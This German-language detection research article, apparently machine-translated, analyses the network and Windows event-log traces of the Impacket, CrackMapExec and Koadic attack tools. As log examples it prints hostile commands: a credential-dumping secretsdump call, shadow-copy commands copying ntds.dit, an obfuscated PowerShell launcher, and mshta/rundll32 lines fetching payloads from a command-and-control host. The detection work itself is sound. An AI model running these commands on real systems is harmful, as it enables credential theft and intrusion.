
Die Anzahl der Angriffe im Unternehmenssektor nimmt von Jahr zu Jahr zu: So wurden
2017 13% mehr eindeutige Vorfälle registriert als 2016, und bis Ende 2018 wurden
27% mehr Vorfälle registriert als in der Vorperiode. Einschließlich derer, bei denen das Windows-Betriebssystem das Hauptwerkzeug ist. In den Jahren 2017-2018 griffen die
Gruppen APT Dragonfly, APT28 und
APT MuddyWater Regierungs- und Militärorganisationen in Europa, Nordamerika und Saudi-Arabien an.
Dafür verwendeten sie drei Tools -
Impacket ,
CrackMapExec und
Koadic . Ihr Quellcode ist offen und auf GitHub verfügbar.
Es ist erwähnenswert, dass diese Tools nicht für die anfängliche Durchdringung verwendet werden, sondern für die Entwicklung eines Angriffs innerhalb der Infrastruktur. Angreifer verwenden sie in verschiedenen Phasen des Angriffs, nachdem sie den Umkreis überwunden haben. Dies ist übrigens schwer zu erkennen und oft nur mit Hilfe von Technologien,
um Spuren von Kompromissen im Netzwerkverkehr zu
identifizieren, oder mit Tools,
die die aktiven Aktionen eines Angreifers erkennen können
, nachdem er in die Infrastruktur eingedrungen ist . Die Tools bieten viele Funktionen - von der Übertragung von Dateien über die Interaktion mit der Registrierung bis hin zur Ausführung von Befehlen auf einem Remotecomputer. Wir haben diese Tools untersucht, um ihre Netzwerkaktivität zu bestimmen.
Was wir tun mussten:
- Verstehen Sie, wie Hacking-Tools funktionieren . Finden Sie heraus, welche Angreifer zum Betrieb benötigt werden und welche Technologien sie verwenden können.
- Finden Sie heraus, was in den ersten Phasen eines Angriffs von Informationssicherheitstools nicht erkannt wird . Die Intelligenzphase kann übersprungen werden, entweder weil der Angreifer ein interner Angreifer ist oder weil der Angreifer eine Lücke in der Infrastruktur ausnutzt, die zuvor nicht bekannt war. Es besteht die Möglichkeit, die gesamte Kette seiner Handlungen wiederherzustellen, daher der Wunsch, weitere Bewegungen zu erkennen.
- Beseitigen Sie Fehlalarme von Intrusion Detection-Tools . Wir dürfen nicht vergessen, dass häufige Fehler möglich sind, wenn bestimmte Aktionen nur auf der Grundlage von Intelligenz erkannt werden. Normalerweise gibt es in der Infrastruktur eine ausreichende Anzahl von Möglichkeiten, die auf den ersten Blick nicht von den legitimen zu unterscheiden sind, um Informationen zu erhalten.
Was geben diese Tools Angreifern? Wenn dies Impacket ist, erhalten die Angreifer eine große Bibliothek von Modulen, die in verschiedenen Phasen des Angriffs verwendet werden können, nachdem sie den Perimeter durchbrochen haben. Viele Tools verwenden Impacket-Module in sich selbst - zum Beispiel Metasploit. Es verfügt über dcomexec und wmiexec für die Ausführung von Remotebefehlen und Secretsdump zum Abrufen von Konten aus dem Speicher, die aus Impacket hinzugefügt wurden. Infolgedessen wird der korrekte Nachweis der Aktivität einer solchen Bibliothek auch durch den Nachweis von Derivaten sichergestellt.
Über CrackMapExec (oder einfach nur CME) haben die Macher zufällig "Powered by Impacket" geschrieben. Darüber hinaus verfügt CME über vorgefertigte Funktionen für beliebte Szenarien: Dies ist Mimikatz zum Empfangen von Passwörtern oder deren Hashes sowie die Implementierung von Meterpreter oder des Empire-Agenten für die Remote-Ausführung und Bloodhound an Bord.
Das dritte Werkzeug, das wir ausgewählt haben, ist Koadic. Es ist ziemlich frisch, wurde auf der internationalen Hacker-Konferenz DEFCON 25 im Jahr 2017 vorgestellt und verfolgt einen nicht standardmäßigen Ansatz: Arbeiten über HTTP, Java Script und Microsoft Visual Basic Script (VBS). Dieser Ansatz wird als Leben vom Land bezeichnet: Das Tool verwendet eine Reihe von Abhängigkeiten und Bibliotheken, die in Windows integriert sind. Die Ersteller nennen es COM Command Control oder C3.
IMPACKET
Die Funktionalität von Impacket ist sehr umfangreich und reicht von der Aufklärung in AD über das Sammeln von Daten von internen MS SQL-Servern bis hin zu Techniken zum Abrufen von Anmeldeinformationen: Dies ist ein SMB-Relay-Angriff und der Empfang einer ntds.dit-Datei mit Benutzerkennwort-Hashes von einem Domänencontroller. Impacket führt Befehle auch remote mit vier verschiedenen Methoden aus: über WMI, einen Dienst zum Verwalten des Windows-Schedulers, DCOM und SMB, für den Anmeldeinformationen erforderlich sind.
Secretsdump
Schauen wir uns Secretsdump an. Dies ist ein Modul, dessen Zweck sowohl Benutzercomputer als auch Domänencontroller sein können. Mit dieser Funktion können Sie Kopien der Speicherbereiche LSA, SAM, SECURITY und NTDS.dit abrufen, sodass sie in verschiedenen Phasen des Angriffs angezeigt werden können. Der erste Schritt beim Betrieb des Moduls ist die Authentifizierung über SMB, für die entweder ein Benutzerkennwort oder ein Hash erforderlich ist, um den Pass the Hash-Angriff automatisch durchzuführen. Als Nächstes wird eine Anforderung zum Öffnen des Zugriffs auf Service Control Manager (SCM) und zum Zugriff auf die Registrierung mithilfe des Winreg-Protokolls angezeigt, mit dem ein Angreifer die Daten von Zweigen ermitteln kann, die ihn interessieren, und über SMB Ergebnisse erzielen kann.
In Abb. In 1 sehen wir, wie genau bei Verwendung des Winreg-Protokolls der Zugriff durch den Registerschlüssel bei LSA erfolgt. Verwenden Sie dazu den DCERPC-Befehl mit Opcode 15 - OpenKey.
Abb. 1. Öffnen Sie den Registrierungsschlüssel mit dem Winreg-ProtokollWenn der Schlüsselzugriff erhalten wird, werden die Werte mit dem Befehl SaveKey mit Opcode 20 gespeichert. Impacket macht dies sehr spezifisch. Die Werte werden in einer Datei gespeichert, deren Name aus 8 zufälligen Zeichen besteht. Hinzu kommt .tmp. Darüber hinaus erfolgt das weitere Entladen dieser Datei über SMB aus dem System32-Verzeichnis (Abb. 2).
Abb. 2. Schema zum Abrufen eines Registrierungsschlüssels von einem RemotecomputerEs stellt sich heraus, dass Sie solche Aktivitäten im Netzwerk erkennen können, indem Sie bestimmte Registrierungszweige mithilfe des Winreg-Protokolls, bestimmter Namen, Befehle und ihrer Reihenfolge abfragen.
Dieses Modul hinterlässt auch Spuren im Windows-Ereignisprotokoll, aufgrund derer es leicht erkannt werden kann. Zum Beispiel als Ergebnis eines Befehls
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
Im Windows Server 2016-Protokoll wird die folgende Schlüsselsequenz von Ereignissen angezeigt:
1. 4624 - Remote-Anmeldung.
2. 5145 - Überprüfung der Zugriffsrechte auf den Remote-Winreg-Dienst.
3. 5145 - Überprüfen der Dateiberechtigungen im System32-Verzeichnis. Die Datei hat den oben genannten zufälligen Namen.
4. 4688 - Erstellen des Prozesses cmd.exe, mit dem vssadmin gestartet wird:
“C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
5. 4688 - Erstellen eines Prozesses mit dem Befehl:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
6. 4688 - Erstellen eines Prozesses mit dem Befehl:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\rmumAfcn.tmp ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
7. 4688 - Erstellen eines Prozesses mit dem Befehl:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Smbexec
Wie viele Tools nach der Ausnutzung verfügt Impacket über Module für die Ausführung von Remotebefehlen. Wir werden uns auf smbexec konzentrieren, das eine interaktive Shell auf einem Remote-Computer bereitstellt. Dieses Modul erfordert auch eine SMB-Authentifizierung mit einem Kennwort oder einem Hash. In Abb. 3 Wir sehen ein Beispiel für die Funktionsweise eines solchen Tools. In diesem Fall handelt es sich um eine lokale Administratorkonsole.
Abb. 3. Smbexec Interactive ConsoleDer erste Schritt in smbexec nach der Authentifizierung ist das Öffnen des SCM mit dem Befehl OpenSCManagerW (15). Die Anfrage ist bemerkenswert: Darin ist das Feld Maschinenname auf DUMMY gesetzt.
Abb. 4. Fordern Sie an, Service Control Manager zu öffnenAls Nächstes wird ein Dienst mit dem Befehl CreateServiceW (12) erstellt. Im Fall von smbexec können wir jedes Mal die gleiche Logik der Teambildung sehen. In Abb. 5 grün zeigt die unveränderlichen Parameter des Befehls an, gelb - was der Angreifer ändern kann. Es ist leicht zu bemerken, dass der Name der ausführbaren Datei, ihres Verzeichnisses und der Ausgabedatei geändert werden kann, der Rest kann jedoch viel schwieriger geändert werden, ohne die Logik des Impacket-Moduls zu verletzen.
Abb. 5. Fordern Sie an, einen Dienst mit Service Control Manager zu erstellenSmbexec hinterlässt auch eindeutige Spuren im Windows-Ereignisprotokoll. Im Windows Server 2016-Protokoll für die interaktive Shell mit dem Befehl ipconfig wird die folgende Schlüsselsequenz von Ereignissen angezeigt:
1. 4697 - Installation des Dienstes auf dem Computer des Opfers:
%COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
2. 4688 - Erstellung des Prozesses cmd.exe mit den Argumenten aus Absatz 1.
3. 5145 - Überprüfen der Berechtigungen für die __output-Datei im C $ -Verzeichnis.
4. 4697 - Installation des Dienstes auf dem Computer des Opfers.
%COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
5. 4688 - Erstellen des Prozesses cmd.exe mit den Argumenten aus Absatz 4.
6. 5145 - Überprüfen der Zugriffsrechte auf die __output-Datei im C $ -Verzeichnis.
Impacket ist die Grundlage für die Entwicklung von Angriffstools. Es unterstützt fast alle Protokolle in der Windows-Infrastruktur und hat gleichzeitig seine eigenen Eigenschaften. Hier finden Sie spezifische Winreg-Anforderungen sowie die Verwendung der SCM-API mit der charakteristischen Bildung von Befehlen, dem Dateinamenformat und der SMB-Freigabe SYSTEM32.
CRACKMAPEXEC
Das CME-Tool dient in erster Linie dazu, die Routineaktionen zu automatisieren, die ein Angreifer ausführen muss, um innerhalb des Netzwerks voranzukommen. Sie können mit dem berüchtigten Empire-Agenten und Meterpreter zusammenarbeiten. Um Befehle verdeckt auszuführen, kann das CME sie verschleiern. Mit Bloodhound (einem separaten Intelligence-Tool) kann ein Angreifer die Suche nach einer aktiven Domänenadministratorsitzung automatisieren.
Bluthund
Bloodhound als unabhängiges Tool ermöglicht erweiterte Informationen innerhalb des Netzwerks. Es sammelt Daten über Benutzer, Computer, Gruppen, Sitzungen und wird in Form eines Skripts in PowerShell oder einer Binärdatei geliefert. LDAP- oder SMB-basierte Protokolle werden zum Sammeln von Informationen verwendet. Mit dem CME-Integrationsmodul können Sie Bloodhound auf den Computer des Opfers herunterladen, die gesammelten Daten nach der Ausführung ausführen und empfangen, wodurch Aktionen im System automatisiert und weniger auffällig gemacht werden. Die grafische Shell Bloodhound präsentiert die gesammelten Daten in Form von Diagrammen, mit denen Sie den kürzesten Weg vom angreifenden Computer zum Domänenadministrator finden können.
Abb. 6. Bloodhound-SchnittstelleUm auf dem Computer des Opfers ausgeführt zu werden, erstellt das Modul eine Aufgabe mit ATSVC und SMB. ATSVC ist eine Schnittstelle für die Arbeit mit dem Windows Task Scheduler. CME verwendet seine NetrJobAdd (1) -Funktion, um Aufgaben über das Netzwerk zu erstellen. Ein Beispiel dafür, was das CME-Modul sendet, ist in Abb. 2 dargestellt. 7: Dies ist ein Aufruf von cmd.exe und dem verschleierten Code als Argumente im XML-Format.
Abb. 7. Erstellen einer Aufgabe über CMENachdem die Aufgabe abgeschlossen wurde, startet die Maschine des Opfers Bloodhound selbst. Dies ist im Verkehr zu sehen. Das Modul zeichnet sich durch LDAP-Abfragen zum Empfangen von Standardgruppen, eine Liste aller Computer und Benutzer in der Domäne aus, die über die SRVSVC NetSessEnum-Anforderung Informationen zu aktiven Benutzersitzungen empfangen.
Abb. 8. Eine Liste der aktiven Sitzungen über SMB abrufenDarüber hinaus wird der Start von Bloodhound auf dem Computer des Opfers mit aktiviertem Audit von einem Ereignis mit der ID 4688 (Prozesserstellung) und dem Prozessnamen
«C:\Windows\System32\cmd.exe»
. Bemerkenswert sind die Befehlszeilenargumente:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "
Enum_avproducts
Aus Sicht der Funktionalität und Implementierung ist das Modul enum_avproducts sehr interessant. WMI ermöglicht die Verwendung der WQL-Abfragesprache zum Empfangen von Daten von verschiedenen Windows-Objekten. Dies wird im Wesentlichen von diesem CME-Modul verwendet. Es generiert Anforderungen an die Klassen AntiSpywareProduct und AntiMirusProduct bezüglich der auf dem Computer des Opfers installierten Schutzfunktionen. Um die erforderlichen Daten zu erhalten, stellt das Modul eine Verbindung zum Namespace root \ SecurityCenter2 her, generiert dann eine WQL-Abfrage und erhält eine Antwort. In Abb. Abbildung 9 zeigt den Inhalt solcher Anfragen und Antworten. In unserem Beispiel wurde Windows Defender gefunden.
Abb. 9. Netzwerkaktivität des Moduls enum_avproductsHäufig ist die WMI-Prüfung (Trace WMI-Activity) deaktiviert, bei deren Ereignissen Sie nützliche Informationen zu WQL-Abfragen finden. Wenn es jedoch aktiviert ist und das Skript enum_avproducts ausgeführt wird, wird das Ereignis mit der ID 11 gespeichert. Es enthält den Namen des Benutzers, der die Anforderung gesendet hat, und den Namen im Namespace root \ SecurityCenter2.
Jedes der CME-Module enthüllte seine eigenen Artefakte, sei es spezifische WQL-Abfragen oder die Erstellung eines bestimmten Aufgabentyps im Taskplaner mit Verschleierung und der für Bloodhound in LDAP und SMB typischen Aktivität.
Koadic
Eine Besonderheit von Koadic ist die Verwendung der integrierten Windows-Interpreter JavaScript und VBScript. In diesem Sinne folgt es dem Trend, vom Land zu leben - das heißt, es hat keine externen Abhängigkeiten und verwendet Standard-Windows-Tools. Dies ist ein Tool für Full Command & Control (CnC), da nach der Infektion ein „Implantat“ auf der Maschine installiert ist, mit dem es gesteuert werden kann. Eine solche Maschine wird in der koadischen Terminologie als "Zombie" bezeichnet. Da Koadic keine Privilegien für vollwertige Arbeit auf der Seite des Opfers hat, kann er diese mithilfe der UAC-Bypass-Technik erhöhen.
Abb. 10. Command Shell KoadicDas Opfer muss die Kommunikation mit dem Command & Control-Server selbst initiieren. Dazu muss sie eine vorbereitete URI beantragen und den Hauptkörper von Koadic mit einem der Stager ermitteln. In Abb. 11 zeigt ein Beispiel für den mshta-Stager.
Abb. 11. Initialisieren einer Sitzung mit einem CnC-ServerAnhand der Antwortvariablen WS wird deutlich, dass die Ausführung über WScript.Shell erfolgt und die Variablen STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE wichtige Informationen zu den Parametern der aktuellen Sitzung enthalten. Dies ist das erste Request-Response-Paar in einer HTTP-Verbindung zu einem CnC-Server. Nachfolgende Anforderungen stehen in direktem Zusammenhang mit der Funktionalität der aufgerufenen Module (Implantate). Alle Koadic-Module funktionieren nur mit einer aktiven Sitzung mit CnC.
Mimikatz
So wie CME mit Bloodhound zusammenarbeitet, arbeitet Koadic mit Mimikatz als eigenständiges Programm und hat verschiedene Möglichkeiten, es auszuführen. Unten finden Sie ein Anfrage-Antwort-Paar zum Laden eines Mimikatz-Implantats.
Abb. 12. Übertragung von Mimikatz nach KoadicMöglicherweise stellen Sie fest, wie sich das URI-Format in der Anforderung geändert hat. Darin erschien der Wert der Variablen csrf, die für das ausgewählte Modul verantwortlich ist. Achten Sie nicht auf ihren Namen; Wir alle wissen, dass CSRF normalerweise anders verstanden wird. Als Antwort kam derselbe Hauptteil von Koadic herein, in den der mit Mimikatz verknüpfte Code eingefügt wurde. Es ist groß genug, berücksichtigen Sie also die wichtigsten Punkte. Vor uns liegen die Base64-codierte Mimikatz-Bibliothek, die serialisierte .NET-Klasse, die sie einfügt, und die Argumente zum Ausführen von Mimikatz. Das Ergebnis der Ausführung wird im Klartext über das Netzwerk übertragen.
Abb. 13. Das Ergebnis der Ausführung von Mimikatz auf einem RemotecomputerExec_cmd
Koadic verfügt auch über Module, mit denen Befehle remote ausgeführt werden können. Hier sehen wir die gleiche Methode zum Generieren von URIs und die bekannten Variablen sid und csrf. Im Fall des Moduls exec_cmd wird dem Text Code hinzugefügt, der Shell-Befehle ausführen kann. Der folgende Code wird in der HTTP-Antwort des CnC-Servers angezeigt.
Abb. 14. Der Implantatcode exec_cmdDie GAWTUUGCFI-Variable mit dem bekannten WS-Attribut wird für die Codeausführung benötigt. Mit seiner Hilfe ruft das Implantat die Shell auf und verarbeitet zwei Zweige des Codes - shell.exec mit der Rückgabe des Ausgabedatenstroms und shell.run ohne Rückgabe.
Koadic ist kein typisches Werkzeug, aber es hat seine eigenen Artefakte, mit denen es im legitimen Verkehr gefunden werden kann:
- spezielle Bildung von HTTP-Anfragen,
- Verwenden der winHttpRequests-API,
- Erstellen eines WScript.Shell-Objekts über ActiveXObject,
- großer ausführbarer Körper.
Die anfängliche Verbindung initiiert den Stager, sodass seine Aktivität anhand von Windows-Ereignissen erkannt werden kann. Für mshta ist dies das Ereignis 4688, in dem über das Erstellen eines Prozesses mit einem Startattribut gesprochen wird:
C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6
Während der Ausführung von Koadic können Sie andere 4688 Ereignisse mit Attributen sehen, die es perfekt charakterisieren:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;\..\..\..\mshtml,RunHTMLApplication rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;\..\..\..\mshtml,RunHTMLApplication "C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1 "C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
Schlussfolgerungen
Das Leben vom Landtrend gewinnt bei Eindringlingen an Beliebtheit. Sie verwenden die integrierten Windows-Tools und -Mechanismen für ihre Anforderungen. Wir sehen, wie die beliebten Tools Koadic, CrackMapExec und Impacket, die diesem Prinzip folgen, zunehmend in APT-Berichten zu finden sind. Die Anzahl der Gabeln auf GitHub für diese Tools wächst ebenfalls, neue erscheinen (jetzt gibt es bereits ungefähr tausend). Der Trend wird aufgrund seiner Einfachheit immer beliebter: Angreifer benötigen keine Tools von Drittanbietern, sie befinden sich bereits auf den Maschinen der Opfer und helfen, Schutz-Tools zu umgehen. Wir konzentrieren uns auf die Untersuchung der Netzwerkkonnektivität: Jedes oben beschriebene Tool hinterlässt seine Spuren im Netzwerkverkehr. Eine detaillierte Studie über sie ermöglichte es uns, unserem Produkt
PT Network Attack Discovery beizubringen, sie zu erkennen, was letztendlich dazu beiträgt, die gesamte Kette von Cyber-Vorfällen zu untersuchen, an denen sie beteiligt sind.
Autoren :
- Anton Tyurin, Leiter Expert Services, PT Expert Security Center, Positive Technologien
- Egor Podmokov, Experte, PT Expert Security Center, Positive Technologien